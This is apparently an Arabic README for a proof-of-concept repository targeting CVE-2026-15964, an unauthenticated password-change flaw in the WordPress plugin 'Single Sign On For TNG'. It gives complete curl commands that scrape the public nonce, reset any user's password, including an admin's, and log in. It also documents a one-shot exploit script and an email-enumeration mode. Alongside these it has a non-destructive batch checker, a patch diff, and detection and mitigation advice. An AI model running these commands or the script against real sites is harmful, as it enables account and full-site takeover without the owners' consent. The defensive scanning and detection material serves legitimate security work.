
PoC وفحص لـ CVE-2026-15964 - تغيير كلمة المرور دون مصادقة في إضافة ووردبريس Single Sign On For TNG <= 2.0.0 (CVSS 9.8)
تصعيد امتيازات بدون مصادقة عبر تغيير كلمة مرور غير موثّق في إضافة ووردبريس Single Sign On For TNG.
| الخطورة | Critical (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-620 (Unverified Password Change) |
| الإصدارات المتأثرة | إصدارات الإضافة من 1.0.0 حتى 2.0.0 |
| أُصلح في | 2.1.0 (صدر في 2026-07-27) |
| نُشر | 2026-08-01 |
| المصادقة المطلوبة | لا شيء (wp_ajax_nopriv_ssoprocess_ajax) |
| الأثر | تغيير كلمة مرور أي حساب ووردبريس، بما في ذلك حسابات المسؤولين - استيلاء كامل على الموقع |
| الإضافة | https://wordpress.org/plugins/single-sign-on-for-tng/ |
يمكن لأي زائر غير مصادَق تغيير كلمة مرور أي حساب على موقع يشغّل الإضافة بالإصدار 2.0.0 أو إصدار أقدم. طلبا HTTP فقط:
SSOPWDREQUIREMENT.admin-ajax.php مع operation=setnewpassword وبريد إلكتروني للضحية وكلمة مرور جديدة.تقوم دالة reset_password() الأساسية في ووردبريس بالباقي. لا رمز مميز، ولا رابط تأكيد عبر البريد، ولا فحص صلاحيات. سجّل الدخول كمسؤول بعد ذلك.
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}
في single-sign-on-for-tng.php (الإصدار 2.0.0):
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
wp_ajax_nopriv_* تعني أن المعالج قابل للوصول دون أي جلسة على الإطلاق.
الخطاف load_scripts() مربوط بـ wp_enqueue_scripts، لذا في كل صفحة واجهة أمامية تطبع الإضافة هذا في HTML:
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
والذي يُعرض كالتالي:
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>
ويتحقق المعالج منه هكذا:
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
المشكلة: يحسب ووردبريس الـ nonce عبر wp_create_nonce($action) باستخدام uid ورمز الجلسة. بالنسبة للزوار غير المسجّلين تكون قيمتهما 0 وسلسلة فارغة، مما يعني أن كل زائر مجهول يحصل على نفس الـ nonce تمامًا. ولا يُعاد توليده إلا كل 12 ساعة (دورة الـ nonce). لذا فإن الـ nonce الذي تطبعه الإضافة لأي زائر صالح أيضًا للمهاجم - لا يوجد سرّ لسرقته، فهو منشور على الصفحة نفسها.
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
دالة reset_password() هي دالة أساسية في ووردبريس. تعيّن تجزئة جديدة، وتُخرج الضحية من كل الجلسات الأخرى، وتُطلق حدثَي password_reset / after_password_reset. تُستدعى هنا دون أي شيء يثبت أن المتصل هو مالك الحساب.
معلومتان إضافيتان تستحقان المعرفة:
MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC في الإضافة تُطبَّقان فقط داخل validate_form() لنماذج Forminator، ولا تُطبَّقان هنا أبدًا. أي كلمة مرور مقبولة.{"success":true} و{"success":false} يخبرك ما إذا كان بريد إلكتروني مسجّلًا أم لا. يستخدم وضع --enum-only في الفاحص هذا الأمر.operation=set_tzoffset يستدعي update_option('localtzoffset', $post['timezoneoffset']) بدون مصادقة. ليس قابلاً للاستغلال مباشرة لتنفيذ التعليمات البرمجية عن بُعد (RCE)، لكنه كتابة خيار بدون مصادقة ويستحق الذكر في التقرير الفني.مقارنة الإصدارين 2.0.0 و2.1.0 تجعل الإصلاح واضحًا (وتؤكد وجود الخطأ):
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
بالإضافة إلى ذلك، في newpasswordform():
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
إذن في 2.1.0 يكون التدفق: طلب استرداد حقيقي يخزّن custom_recovery_token + custom_recovery_nonce خاصين بكل مستخدم في بيانات المستخدم، ورابط الاسترداد يحمل معرّف المستخدم، والنموذج يتحقق من الاثنين، ويرفض معالج AJAX التنفيذ بمجرد انتهاء نافذة الاسترداد (timeout). المهاجم الذي لا يستطيع إنتاج سجل استرداد نشط لا يمكنه تشغيل setnewpassword بعد الآن.
الخطوة 1 - استخرج الـ nonce
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
الخطوة 2 - غيّر كلمة المرور
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
الاستجابة المتوقعة على تثبيت ثغِر: {"success":true}
الخطوة 3 - سجّل الدخول
curl -sk -X POST https://target/wp-login.php \
-d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"
CVE-2026-15964.pyاستغلال لموقع واحد. يتضمن أوضاعًا غير تخريبية.
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'
# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only
# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12
# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only
# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check
CVE-2026-15964-checker.pyماسح دفعات لقوائم مواقعك الخاصة. غير تخريبي بالتصميم - لا يغيّر أي كلمة مرور أبدًا.
كيف يصنّف كل موقع:
SSOPWDREQUIREMENT أو مسارات الأصول /wp-content/plugins/single-sign-on-for-tng/ في الصفحة الرئيسية.Stable tag: في readme.txt. <= 2.0.0 ثغِر، >= 2.1.0 مُصحَّح. هذا هو المعيار الحاسم وفقًا لـ CVE.--probe، فقط عندما يتعذر قراءة الإصدار) - يرسل operation=setnewpassword عبر POST مع بريد إلكتروني غير موجود. تثبيت 2.0.0 يجيب بـ {"success":false} دون رسالة خطأ؛ بينما يجيب تثبيت 2.1.0 برسالة «انتهى وقت إرسال كلمة المرور الجديدة». لا يُرسل بريد إلكتروني حقيقي أبدًا - لأن إرساله سيعيد تعيين كلمة المرور فعليًا.# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv
# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com
مثال على المخرجات:
URL VERDICT VER NONCE DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com VULNERABLE 2.0.0 yes readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com PATCHED 2.1.0 yes readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com PLUGIN_NOT_FOUND - -
Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1
الأحكام: VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS / UNKNOWN / ERROR. UNKNOWN تعني عادةً وجود جدار حماية لتطبيقات الويب (WAF)، أو كاش CDN عدواني، أو موقع يحجب ملف readme - افحص هذه الحالات يدويًا.
يحاكي tests/mock_server.py ست حالات (ثغِر حسب الإصدار، مُصحَّح حسب الإصدار، ثغِر حسب الاستكشاف، مُصحَّح حسب الاستكشاف، ووردبريس بدون الإضافة، غير ووردبريس). هكذا تم التحقق من منطق الفاحص قبل توجيهه إلى أي هدف حقيقي:
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme
# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE
pip install -r requirements.txt يوفّر لك الاعتماد الوحيد (requests).
سياق صريح، لأنه يؤثر على طريقة استخدامك لهذه الأداة.
inurl:"single-sign-on-for-tng"، و"SSOPWDREQUIREMENT" في محركات البحث التي تفهرس مصدر الصفحة الكامل (PublicWWW, Censys, FOFA)، ومجتمع TNG نفسه (tngsitebuilding.com, منتديات الأنساب).UNKNOWN في الفاحص كبيرة نسبيًا على مواقع الأنساب الحقيقية - إذ يعمل الكثير منها خلف كاش عدواني أو يحجب readme.txt. لا تفسّر ذلك على أنه «غير ثغِر»؛ تحقق يدويًا.admin-ajax.php حيث action=ssoprocess_ajax لا تأتي من جلسة مصادقة؛ ونبّه على setnewpassword من مصادر مجهولة.wp_users.user_pass وحدثَي password_reset / after_password_reset؛ وراقب عمليات تسجيل دخول المسؤولين مباشرة بعد أي تغيير لكلمة المرور.ssoajaxnonce كمعلومة عامة - لقد كانت كذلك دائمًا.هذا المستودع مخصص لاختبارات الأمان المصرَّح بها والأغراض التعليمية فقط. أنت مسؤول عن أفعالك. لا تشغّل هذه الأدوات ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر جريمة في معظم الدول.